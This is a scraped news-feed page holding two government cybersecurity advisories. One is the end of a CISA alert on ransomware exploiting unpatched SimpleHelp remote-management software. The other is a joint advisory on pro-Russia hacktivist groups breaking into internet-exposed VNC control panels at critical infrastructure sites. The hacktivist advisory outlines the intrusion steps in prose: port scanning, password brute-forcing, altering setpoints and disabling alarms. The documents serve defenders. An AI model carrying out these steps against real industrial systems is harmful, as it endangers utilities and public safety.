CISA urges software vendors, downstream customers, and end users to immediately implement the Mitigations listed in this advisory based on confirmed compromise or risk of compromise.

Download the PDF version of this report:

AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider (PDF, 420.49 KB )

Mitigations

CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

Vulnerable Third-Party Vendors

If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file <file_path>/SimpleHelp/configuration/serverconfig.xml. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:

  1. Isolate the SimpleHelp server instance from the internet or stop the server process.
  2. Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.2
  3. Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.

Vulnerable Downstream Customers and End Users

Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.

SimpleHelp Endpoints

Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:

  • Windows: %APPDATA%\JWrapper-Remote Access
  • Linux: /opt/JWrapper-Remote Access
  • MacOs: /Library/Application Support/JWrapper-Remote Access

If RAS installation is present and running, open the serviceconfig.xml file in <file_path>/JWrapper-Remote Access/JWAppsSharedConfig/ to determine if the registered service is vulnerable. The lines starting with <ConnectTo indicate the server addresses where the service is registered.

SimpleHelp Server

Determine the version of any SimpleHelp server by performing an HTTP query against it. Add /allversions (e.g., https://simple-help.com/allversions) to query the URL for the version page. This page will list the running version.

If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. Note: This is not an exhaustive list of indicators of compromise.

  1.  Refer to SimpleHelp’s guidance to determine compromise and next steps.3
  2. Isolate the SimpleHelp server instance from the internet or stop the server process.
  3. Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., aaa.exe, bbb.exe, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.
  4. Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.4

If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.

Encrypted Downstream Customers and End Users

If a system has been encrypted by ransomware:

  1. Disconnect the affected system from the internet.
  2. Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.
  3. Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.

CISA urges you to promptly report ransomware incidents to a local FBI Field Office, FBI’s Internet Crime Compliant Center (IC3), and CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA).

Proactive Mitigations to Reduce Risk

To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:

  • Maintain a robust asset inventory and hardware list [CPG 1.A].
  • Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [CPG 2.R].
  • Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [CPG 2.W].
  • Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.
  • Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.
  • For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.
    • An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s SBOM page.

Resources

Reporting

Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.

FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.

CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).

SimpleHelp users or vendors can contact support@simple-help.com for assistance with queries or concerns.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.

Version History

June 12, 2025: Initial version.

Notes

1. Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” Sophos News, May 27, 2025, https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/.
2. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.
3. To determine possibility of compromise and next steps, see SimpleHelp’s guidance.
4. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.

]]> <![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]> https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/ https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/ Sat, 25 Jul 2026 09:15:46 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Summary

Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eastwood, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.

FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:

  • U.S. Department of Energy (DOE)
  • U.S. Environmental Protection Agency (EPA)
  • U.S. Department of Defense Cyber Crime Center (DC3)
  • Europol European Cybercrime Centre (EC3)
  • EUROJUST – European Union Agency for Criminal Justice Cooperation
  • Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
  • Canadian Centre for Cyber Security (Cyber Centre)
  • Canadian Security Intelligence Service (CSIS)
  • Czech Republic Military Intelligence (VZ)
  • Czech Republic National Cyber and Information Security Agency (NÚKIB)
  • Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)
  • French National Cybercrime Unit – Gendarmerie Nationale (UNC)
  • French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)
  • German Federal Office for Information Security (BSI)
  • Italian State Police (PS)
  • Latvian State Police (VP)
  • Lithuanian Criminal Police Bureau (LKPB)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • Romanian National Police (PR)
  • Spanish Civil Guard (GC)
  • Spanish National Police (CNP)
  • Swedish Polisen (SC3)
  • United Kingdom National Cyber Security Centre (NCSC-UK)

The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include Water and Wastewater Systems, Food and Agriculture, and Energy.

The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Threat Overview and Advisories webpage.

Download the PDF version of this report:

Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure (PDF, 1.53 MB )

Background and Development of Pro-Russia Hacktivist Groups

Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.

Cyber Army of Russia Reborn

The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see Appendix B: Additional Designators Used for Cited Groups)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.

In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.

CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.

In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.

The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.

NoName057(16)

The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool DDoSia, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.

Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host DDoSia and share materials and TTPs with their followers. 

In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.

Z-Pentest

Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.

Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.

Sector16

Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.

Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.

Technical Details

Note: This advisory uses the MITRE ATT&CK¼ Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

TTP Overview

Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.

Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.

Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the Water and Wastewater, Food and Agriculture, and Energy Sectors.

Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:

  • Scan for vulnerable devices on the internet [T0883] with open VNC ports [T1595.002].
  • Initiate temporary virtual private server (VPS) [T1583.003] to execute password brute force software.
  • Use VNC software to access hosts [T1021.005].
  • Confirm connection to the vulnerable device [T0886].
  • Brute force the password, if required [T1110.003].
  • Gain access to HMI devices [T0883], typically with default [T0812], weak, or no passwords [T0859].
  • Log the confirmed vulnerable device IP address, port, and password.
  • Using the HMI graphical interface [T0823], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [T0828]:
    • Modify usernames/passwords [T0892];
    • Modify parameters [T0836];
    • Modify device name [T0892];
    • Modify instrument settings [T0831];
    • Disable alarms [T0878];
    • Create loss of view (a technique that mandates local hands-on operator intervention) [T0829]; and/or
    • Device restart or shutdown [T0816].
  • Disconnect from the device, ending the VNC connection.
  • Research the compromised device company after the intrusion [T1591].

Propagation

To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.

Reconnaissance and Initial Access

The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as Nmap or OPENVAS, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port 5900 or other nearby ports (5901-5910). Their goal is to gain remote access to HMI devices connected to live control networks.

Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.

Impact

While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.

Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.

MITRE ATT&CK Tactics and Techniques

See Table 1 to Table 10 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 1. Reconnaissance
Technique Title ID Use
Gather Victim Organization Information T1591 Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.
Active Scanning: Vulnerability Scanning T1595.002 Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.
Table 2. Resource Development
Technique Title ID Use
Acquire Infrastructure: Virtual Private Server T1583.003 Threat actors use virtual infrastructure to obfuscate identifiers.
Table 3. Initial Access
Technique Title ID Use
Internet Accessible Device T0883 Threat actors gain access through less secure HMI devices exposed to the internet.
Table 4. Persistence
Technique Title ID Use
Valid Accounts T0859 Threat actors use password guessing tools to access legitimate accounts on the HMI devices.
Table 5. Credential Access
Technique Title ID Use
Brute Force: Password Spraying T1110.003 Threat actors use tools to rapidly guess common or simple passwords.
Table 6. Lateral Movement
Technique Title ID Use
Default Credentials T0812 Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.
Remote Services T0886 Threat actors leverage VNC services to access system HMI devices.
Remote Services: VNC T1021.005 Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.
Table 7. Execution
Technique Title ID Use
Graphical User Interface T0823 Threat actors interact with HMI devices via GUIs, attempting to modify control devices.
Table 8. Inhibit Response Function
Technique Title ID Use
Device Restart/Shutdown T0816 While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.
Alarm Suppression T0878 Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.
Change Credential T0892 Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.
Table 9. Impair Process Control
Technique Title ID Use
Modify Parameter T0836 Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.
Unauthorized Command Message T0855 Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.
Table 10. Impact
Technique Title ID Use
Loss of Productivity and Revenue T0828 Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.
Loss of View T0829 Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. 
Manipulation of Control T0831 Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  

Incident Response

If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:

  1. Determine which hosts were compromised and isolate them by quarantining or taking them offline.
  2. Initiate threat hunting activities to scope the intrusion. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
  3. Reimage compromised hosts.
  4. Provision new account credentials.
  5. Report the compromise to CISA, FBI, and/or NSA. See the Contact Information section of this advisory.
  6. Harden the network to prevent additional malicious activity. See the Mitigations section of this advisory for guidance.

Mitigations

OT Asset Owners and Operators

The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

  • Reduce exposure of OT assets to the public-facing internet. When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [CPG 3.S].
    • Asset owners should use attack surface management services and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.
      Note: For more information on attack surface management, see CISA’s Internet Exposure Reduction Guidance, CISA’s Cyber Hygiene Services for U.S. critical infrastructure, and NSA’s Attack Surface Management for the U.S. Defense Industrial Base.
    • Implement network segmentation between IT and OT networks. Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [CPG 3.I].
    • Consider implementing a firewall and/or virtual private network if exposure to the internet is necessary for controlling access to devices.
      • Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.
      • Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.
      • Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.
      • Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.
  • Adopt mature asset management processes, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [CPG 2.A].
    • Keep remote access services updated with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
      • Keep VNC systems updated with the latest version available.
    • Refer to the joint Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.
  • Ensure OT assets use robust authentication procedures.
    • Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.
    • Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [CPG 3.A] [CPG 3.B] [CPG 3.C] [CPG 3.F].
    • Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [CPG 3.E].
    • Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [CPG 3.R].
    • Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.
  • Enable control system security features that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [CPG 3.G].
  • Implement and practice business recovery/disaster recovery plans. Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
    • Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [CPG 6.A].
    • Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [CPG 3.O].
  • Collect and monitor the traffic of OT assets and networking devices. This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.
  • Review configurations for setpoint ranges or tag values to stay within safe ranges and establish alerting for deviations.
  • Take a proactive approach in the procurement process by following the guidance outlined in the joint guide Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.

OT Device Manufacturers

Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software.

  • Eliminate default credentials and require strong passwords. The use of default credentials is a top weakness threat actors exploit to gain access to systems.
  • Mandate MFA for privileged users. Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.
  • Practice secure by default principles. OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
    • Include logging at no additional charge. Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.
  • Publish Software Bill of Materials (SBOMs). Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s SBOM webpage for more information.

Additionally, see CISA’s Secure by Design Alert on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.

For more information on secure by design, see CISA’s Secure by Design webpage.

Validate Security Controls

In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&CK techniques described in this advisory.

To start:

  1. Select an ATT&CK technique described in this advisory (see Table 1 to Table 10).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:

Additional resources that apply to this advisory include:

Contact Information

U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:

  • Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
  • For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations: Report incidents by emailing Cyber Centre at contact@cyber.gc.ca.

New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.

United Kingdom organizations: Report a significant cyber security incident: report.ncsc.gov.uk (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.

Acknowledgements

Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.

Version History

December 09, 2025: Initial version.

Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups

For further information on targeting methodologies for pro-Russia hacktivist groups, see:

Appendix B: Additional Designators Used for Cited Groups

The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.

Note: Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.

  • GRU military unit 74455
    • Sandworm Team
    • Voodoo Bear
    • Seashell Blizzard
    • APT44
  • Cyber Army of Russia Reborn (CARR)
    • CyberArmy of Russia
    • ĐĐ°Ń€ĐŸĐŽĐœĐ°ŃÂ CyberĐŃ€ĐŒĐžŃÂ (НКА)
    • People’s CyberArmy of Russia (PCA)
    • Russian CyberArmy Team (RCAT)
  • NoName057(16)
    • NoName057(16) Spain
    • NoName057(16) Italy
    • NoName057(16) France
  • Z-Pentest
    • Z-Pentest Beograd
    • Z-Pentest Alliance
    • Z-Alliance
